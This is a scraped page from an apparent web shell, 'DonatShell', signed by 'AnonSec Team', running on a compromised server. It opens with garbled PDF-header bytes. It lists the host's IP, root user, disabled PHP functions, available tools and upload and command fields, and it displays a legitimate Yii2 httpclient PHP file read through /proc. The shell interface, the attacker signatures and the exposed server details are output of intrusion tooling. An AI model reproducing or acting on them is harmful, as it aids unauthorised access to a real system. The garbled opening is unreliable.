%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/water/vendor/yiisoft/yii2-httpclient/src/debug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/water/vendor/yiisoft/yii2-httpclient/src/debug/RequestExecuteAction.php
<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\httpclient\debug;

use yii\base\Action;
use yii\web\HttpException;
use yii\web\Response;

/**
 * RequestExecuteAction executes HTTP request and passes its result to the browser.
 *
 * @author Paul Klimov <klimov.paul@gmail.com>
 * @since 2.0
 */
class RequestExecuteAction extends Action
{
    /**
     * @var HttpClientPanel
     */
    public $panel;


    /**
     * @param string $seq
     * @param string $tag
     * @param bool $passthru whether to send response to the browser or render it as plain text
     * @return Response
     * @throws HttpException
     * @throws \yii\base\InvalidConfigException
     * @throws \yii\httpclient\Exception
     */
    public function run($seq, $tag, $passthru = false)
    {
        $this->controller->loadData($tag);

        $timings = $this->panel->calculateTimings();

        if (!isset($timings[$seq])) {
            throw new HttpException(404, 'Log message not found.');
        }

        $requestInfo = $timings[$seq]['info'];

        $httpRequest = $this->createRequestFromLog($requestInfo);
        $httpResponse = $httpRequest->send();
        $httpResponse->getHeaders()->get('content-type');

        $response = new Response([
            'format' => Response::FORMAT_RAW,
        ]);

        if ($passthru) {
            foreach ($httpResponse->getHeaders() as $name => $value) {
                $response->getHeaders()->set($name, $value);
            }
            $response->content = $httpResponse->content;
            return $response;
        }

        $response->getHeaders()->add('content-type', 'text/plain');
        $response->content = $httpResponse->toString();
        return $response;
    }

    /**
     * Creates an HTTP request instance from log entry.
     * @param string $requestLog HTTP request log entry
     * @return \yii\httpclient\Request request instance.
     * @throws \yii\base\InvalidConfigException
     */
    protected function createRequestFromLog($requestLog)
    {
        if (strpos($requestLog, "\n\n")) {
            list($head, $content) = explode("\n\n", $requestLog, 2);
        } else {
            $head = $requestLog;
            $content = null;
        }

        $headers = explode("\n", $head);
        $main = array_shift($headers);
        list($method, $url) = explode(' ', $main, 2);

        return $this->panel->getHttpClient()->createRequest()
            ->setMethod($method)
            ->setUrl($url)
            ->setHeaders($headers)
            ->setContent($content);
    }
}

Anon7 - 2022
AnonSec Team